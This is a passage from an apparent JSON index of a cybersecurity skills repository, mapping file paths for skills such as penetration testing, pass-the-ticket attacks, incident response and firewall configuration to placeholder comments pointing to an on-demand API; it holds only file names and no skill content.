/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fapi-reference.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fstandards.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fworkflows.md -->","skills/conducting-api-security-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2FSKILL.md -->","skills/conducting-api-security-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2Freferences%2Fapi-reference.md -->","skills/conducting-cloud-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2FSKILL.md -->","skills/conducting-cloud-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-cloud-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2FSKILL.md -->","skills/conducting-cloud-penetration-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2Freferences%2Fapi-reference.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2FSKILL.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Fassets%2Ftemplate.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Freferences%2Fstandards.md -->","skills/conducting-domain-persistence-with-dcsync/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2FSKILL.md -->","skills/conducting-domain-persistence-with-dcsync/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Fassets%2Ftemplate.md -->","skills/conducting-domain-persistence-with-dcsync/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fapi-reference.md -->","skills/conducting-domain-persistence-with-dcsync/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fstandards.md -->","skills/conducting-domain-persistence-with-dcsync/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fworkflows.md -->","skills/conducting-external-reconnaissance-with-osint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2FSKILL.md -->","skills/conducting-external-reconnaissance-with-osint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2Freferences%2Fapi-reference.md -->","skills/conducting-full-scope-red-team-engagement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2FSKILL.md -->","skills/conducting-full-scope-red-team-engagement/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Fassets%2Ftemplate.md -->","skills/conducting-full-scope-red-team-engagement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fapi-reference.md -->","skills/conducting-full-scope-red-team-engagement/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fstandards.md -->","skills/conducting-full-scope-red-team-engagement/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fworkflows.md -->","skills/conducting-gdpr-compliance-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2FSKILL.md -->","skills/conducting-gdpr-compliance-assessment/assets/compliance-scorecard.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Fassets%2Fcompliance-scorecard.md -->","skills/conducting-gdpr-compliance-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fapi-reference.md -->","skills/conducting-gdpr-compliance-assessment/references/detailed-workflow.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fdetailed-workflow.md -->","skills/conducting-gdpr-compliance-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fstandards.md -->","skills/conducting-internal-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2FSKILL.md -->","skills/conducting-internal-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/conducting-internal-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-internal-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fstandards.md -->","skills/conducting-internal-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2FSKILL.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Fassets%2Ftemplate.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fstandards.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fworkflows.md -->","skills/conducting-malware-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2FSKILL.md -->","skills/conducting-malware-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-man-in-the-middle-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2FSKILL.md -->","skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/conducting-memory-forensics-with-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2FSKILL.md -->","skills/conducting-memory-forensics-with-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2Freferences%2Fapi-reference.md -->","skills/conducting-mobile-app-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2FSKILL.md -->","skills/conducting-mobile-app-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2FSKILL.md -->","skills/conducting-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-pass-the-ticket-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2FSKILL.md -->","skills/conducting-pass-the-ticket-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Fassets%2Ftemplate.md -->","skills/conducting-pass-the-ticket-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fapi-reference.md -->","skills/conducting-pass-the-ticket-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fstandards.md -->","skills/conducting-pass-the-ticket-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fworkflows.md -->","skills/conducting-phishing-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2FSKILL.md -->","skills/conducting-phishing-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-post-incident-lessons-learned/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2FSKILL.md -->","skills/conducting-post-incident-lessons-learned/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Fassets%2Ftemplate.md -->","skills/conducting-post-incident-lessons-learned/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fapi-reference.md -->","skills/conducting-post-incident-lessons-learned/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fstandards.md -->","skills/conducting-post-incident-lessons-learned/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fworkflows.md -->","skills/conducting-social-engineering-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2FSKILL.md -->","skills/conducting-social-engineering-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Fassets%2Ftemplate.md -->","skills/conducting-social-engineering-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-social-engineering-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fstandards.md -->","skills/conducting-social-engineering-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fworkflows.md -->","skills/conducting-social-engineering-pretext-call/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2FSKILL.md -->","skills/conducting-social-engineering-pretext-call/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Fassets%2Ftemplate.md -->","skills/conducting-social-engineering-pretext-call/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fapi-reference.md -->","skills/conducting-social-engineering-pretext-call/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fstandards.md -->","skills/conducting-social-engineering-pretext-call/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fworkflows.md -->","skills/conducting-spearphishing-simulation-campaign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2FSKILL.md -->","skills/conducting-spearphishing-simulation-campaign/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Fassets%2Ftemplate.md -->","skills/conducting-spearphishing-simulation-campaign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","skills/conducting-spearphishing-simulation-campaign/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fstandards.md -->","skills/conducting-spearphishing-simulation-campaign/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fworkflows.md -->","skills/conducting-wireless-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2FSKILL.md -->","skills/conducting-wireless-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/configuring-active-directory-tiered-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2FSKILL.md -->","skills/configuring-active-directory-tiered-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2Freferences%2Fapi-reference.md -->","skills/configuring-aws-verified-access-for-ztna/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2FSKILL.md -->","skills/configuring-aws-verified-access-for-ztna/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Fassets%2Ftemplate.md -->","skills/configuring-aws-verified-access-for-ztna/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fapi-reference.md -->","skills/configuring-aws-verified-access-for-ztna/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fstandards.md -->","skills/configuring-aws-verified-access-for-ztna/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fworkflows.md -->","skills/configuring-certificate-authority-with-openssl/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2FSKILL.md -->","skills/configuring-certificate-authority-with-openssl/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Fassets%2Ftemplate.md -->","skills/configuring-certificate-authority-with-openssl/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fapi-reference.md -->","skills/configuring-certificate-authority-with-openssl/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fstandards.md -->","skills/configuring-certificate-authority-with-openssl/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fworkflows.md -->","skills/configuring-host-based-intrusion-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2FSKILL.md -->","skills/configuring-host-based-intrusion-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Fassets%2Ftemplate.md -->","skills/configuring-host-based-intrusion-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-host-based-intrusion-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fstandards.md -->","skills/configuring-host-based-intrusion-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fworkflows.md -->","skills/configuring-hsm-for-key-storage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2FSKILL.md -->","skills/configuring-hsm-for-key-storage/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Fassets%2Ftemplate.md -->","skills/configuring-hsm-for-key-storage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fapi-reference.md -->","skills/configuring-hsm-for-key-storage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fstandards.md -->","skills/configuring-hsm-for-key-storage/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fworkflows.md -->","skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2FSKILL.md -->","skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Fassets%2Ftemplate.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fapi-reference.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fstandards.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fworkflows.md -->","skills/configuring-ldap-security-hardening/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2FSKILL.md -->","skills/configuring-ldap-security-hardening/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2Freferences%2Fapi-reference.md -->","skills/configuring-microsegmentation-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2FSKILL.md -->","skills/configuring-microsegmentation-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/configuring-microsegmentation-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fstandards.md -->","skills/configuring-microsegmentation-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/configuring-multi-factor-authentication-with-duo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2FSKILL.md -->","skills/configuring-multi-factor-authentication-with-duo/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Fassets%2Ftemplate.md -->","skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fapi-reference.md -->","skills/configuring-multi-factor-authentication-with-duo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fstandards.md -->","skills/configuring-multi-factor-authentication-with-duo/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fworkflows.md -->","skills/configuring-network-segmentation-with-vlans/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2FSKILL.md -->","skills/configuring-network-segmentation-with-vlans/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2Freferences%2Fapi-reference.md -->","skills/configuring-oauth2-authorization-flow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2FSKILL.md -->","skills/configuring-oauth2-authorization-flow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Fassets%2Ftemplate.md -->","skills/configuring-oauth2-authorization-flow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fapi-reference.md -->","skills/configuring-oauth2-authorization-flow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fstandards.md -->","skills/configuring-oauth2-authorization-flow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fworkflows.md -->","skills/configuring-pfsense-firewall-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2FSKILL.md -->","skills/configuring-pfsense-firewall-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2Freferences%2Fapi-reference.md -->","skills/configuring-snort-ids-for-intrusion-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2FSKILL.md -->","skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-suricata-for-network-monitoring/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.es.md -->","skills/configuring-suricata-for-network-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.md -->","skills/configuring-suricata-for-network-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2Freferences%2Fapi-reference.md -->","skills/configuring-tls-1-3-for-secure-communications/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2FSKILL.md -->","skills/configuring-tls-1-3-for-secure-communications/assets/template.md":"<!-- Skill available on-demand via 